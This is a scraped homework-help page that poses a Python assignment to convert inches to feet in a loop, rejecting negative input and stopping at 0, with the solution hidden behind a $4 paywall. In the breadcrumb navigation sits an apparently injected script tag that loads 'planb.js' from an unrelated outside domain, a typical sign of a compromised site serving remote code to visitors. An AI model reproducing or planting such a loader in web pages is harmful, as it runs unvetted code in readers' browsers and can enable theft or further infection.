Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> Write a Python program that does the following: 1. Displays a welcome message 2. Prompts a user to e

(Solved): Write a Python program that does the following: 1. Displays a welcome message 2. Prompts a user to e ...



Write a Python program that does the following: 1. Displays a welcome message 2. Prompts a user to enter a number (an integer), and then converts that value from inches to feet. If the user entered a negative number, display an error message telling the user that it was not a "positive "number and prompt the user to enter a number again. 3. Displays the converted value, then" feet" 4. Continue converting the user's valid values until the user enters 0. Your program should then display a goodbye message. Example 1: Welcome to my inches to feet converter! Please enter a number of inches: 32 2.7 feet Please enter a number of inches : 60 5.0 feet Please enter a number of inches: -20 Please enter a positive number! Please enter a number of inches : 40 3.3 feet Please enter a number of inches: 0 Have a nice day! Show transcribed image text Write a Python program that does the following: 1. Displays a welcome message 2. Prompts a user to enter a number (an integer), and then converts that value from inches to feet. If the user entered a negative number, display an error message telling the user that it was not a "positive "number and prompt the user to enter a number again. 3. Displays the converted value, then" feet" 4. Continue converting the user's valid values until the user enters 0. Your program should then display a goodbye message. Example 1: Welcome to my inches to feet converter! Please enter a number of inches: 32 2.7 feet Please enter a number of inches : 60 5.0 feet Please enter a number of inches: -20 Please enter a positive number! Please enter a number of inches : 40 3.3 feet Please enter a number of inches: 0 Have a nice day!


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now